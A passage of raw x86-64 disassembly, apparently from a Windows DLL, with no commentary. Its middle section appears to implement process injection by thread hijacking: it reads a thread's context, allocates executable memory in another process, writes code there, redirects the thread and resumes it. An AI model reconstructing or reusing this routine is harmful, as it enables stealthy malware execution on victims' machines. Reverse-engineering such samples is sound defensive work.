movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b88], edx
xor edx, edx
mov edi, dword [rsp + 0x8b88]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b84]
sub eax, ecx
mov ecx, dword [rsp + 0x8b7c]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x180008ff4
xor eax, eax
cmp eax, 8
je 0x180008ff4
movsd xmm0, qword [0x1800247d8]
call fcn.180003790
jmp 0x180009001
mov dword [rsp + 0x89ac], 2
jmp 0x1800092f9
mov dword [rsp + 0x84c0], 0x10003
mov rax, qword [rsp + 0x8988]
mov qword [rsp + 0x8b90], rax
lea rdx, [rsp + 0x8490]
mov rcx, qword [rsp + 0x83d0]
call qword [rsp + 0x8b90]
mov rax, qword [rsp + 0x8978]
mov qword [rsp + 0x8b98], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rsp + 0x83a8]
xor edx, edx
mov rcx, qword [rsp + 0x83c8]
call qword [rsp + 0x8b98]
mov qword [rsp + 0x8ba0], rax
mov rax, qword [rsp + 0x8ba0]
mov qword [rsp + 0x8478], rax
mov rax, qword [rsp + 0x8980]
mov qword [rsp + 0x8ba8], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x83a8]
mov r8, qword [rsp + 0x83b0]
mov rdx, qword [rsp + 0x8478]
mov rcx, qword [rsp + 0x83c8]
call qword [rsp + 0x8ba8]
mov rax, qword [rsp + 0x8478]
mov qword [rsp + 0x8588], rax
mov rax, qword [rsp + 0x8990]
mov qword [rsp + 0x8bb0], rax
lea rdx, [rsp + 0x8490]
mov rcx, qword [rsp + 0x83d0]
call qword [rsp + 0x8bb0]
mov rax, qword [rsp + 0x8998]
mov qword [rsp + 0x8bb8], rax
mov rcx, qword [rsp + 0x83d0]
call qword [rsp + 0x8bb8]
mov rax, qword [rsp + 0x89a0]
mov qword [rsp + 0x8bc0], rax
mov rcx, qword [rsp + 0x83d0]
call qword [rsp + 0x8bc0]
mov rax, qword [rsp + 0x89a0]
mov qword [rsp + 0x8bc8], rax
mov rcx, qword [rsp + 0x83c8]
call qword [rsp + 0x8bc8]
mov dword [rsp + 0x89ac], 3
jmp 0x1800092f9
call fcn.18000150a
mov dword [rsp + 0x89ac], 3
jmp 0x1800092f9
mov dword [rsp + 0x89b0], 0
jmp 0x18000919d
mov eax, dword [rsp + 0x89b0]
inc eax
mov dword [rsp + 0x89b0], eax
call fcn.180003770
mov byte [rsp + 0x8bd0], al
call fcn.180003740
mov byte [rsp + 0x8bd1], al
call fcn.180003730
mov byte [rsp + 0x8bd2], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8bd4], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8bd2]
movsx edi, byte [rsp + 0x8bd1]
imul edi, edi, 0xa
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8bd0]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8bd8], edx
xor edx, edx
mov edi, dword [rsp + 0x8bd8]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8bd4]
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8bdc], eax
mov eax, dword [rsp + 0x8bdc]
cmp dword [rsp + 0x89b0], eax
jge 0x1800092f9
mov dword [rsp + 0x89b4], 0
jmp 0x180009270
cmp dword [rsp + 0x89b4], 5
jae 0x1800092f4
mov dword [rsp + 0x8a30], 0
lea rcx, [rsp + 0x348]
call fcn.180001221
nop
lea rcx, [rsp + 0x308]
call fcn.180001221
nop
lea rcx, [rsp + 0x2b8]
call fcn.180001221
nop
lea rcx, [rsp + 0x268]
call fcn.180001221
nop
lea rcx, [rsp + 0x218]
call fcn.180001221
nop
lea rcx, [rsp + 0x1e8]
call fcn.180001645
nop
lea rcx, [rsp + 0x58]
call fcn.180001221
mov eax, dword [rsp + 0x8a30]
jmp 0x180009477
jmp 0x18000918d
jmp 0x180008923
lea rcx, [rsp + 0x348]
call fcn.180001221
nop
lea rcx, [rsp + 0x308]
call fcn.180001221
nop
lea rcx, [rsp + 0x2b8]
call fcn.180001221
nop
lea rcx, [rsp + 0x268]
call fcn.180001221
nop
lea rcx, [rsp + 0x218]
call fcn.180001221
nop
lea rcx, [rsp + 0x1e8]
call fcn.180001645
nop
jmp 0x180009356
jmp 0x180009358
jmp 0x180009370
mov dword [rsp + 0x89dc], 0
jmp 0x18000938d
mov eax, dword [rsp + 0x89dc]
inc eax
mov dword [rsp + 0x89dc], eax
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8bf0], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
mov dword [rsp + 0x8bf4], ecx
call fcn.180003730
movsx eax, al
mov dword [rsp + 0x8bf8], eax
call fcn.180003740
movsx eax, al
shl eax, 1
mov ecx, dword [rsp + 0x8bf8]
imul eax, ecx
mov dword [rsp + 0x8bfc], eax
call fcn.180003770
movsx eax, al
movzx ecx, byte [0x18003c015]
movsx ecx, cl
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8bfc]
add eax, ecx
xor edx, edx
mov ecx, dword [rsp + 0x8bf4]
div ecx
mov ecx, dword [rsp + 0x8bf0]
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.180003790
cmp dword [rsp + 0x89dc], eax
jge 0x18000946d
mov dword [rsp + 0x89e0], 0
jmp 0x18000943e
cmp dword [rsp + 0x89e0], 0x39
jae 0x180009468
mov dword [rsp + 0x8a38], 0
lea rcx, [rsp + 0x58]
call fcn.180001221
mov eax, dword [rsp + 0x8a38]
jmp 0x180009477
jmp 0x18000937d
lea rcx, [rsp + 0x58]
call fcn.180001221
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1800223d0]
call fcn.180001582
mov rax, rdi
mov rcx, qword [rsp + 0x8c00]
xor rcx, rsp
call fcn.180001348
add rsp, 0x8c18
pop rdi
pop rsi
ret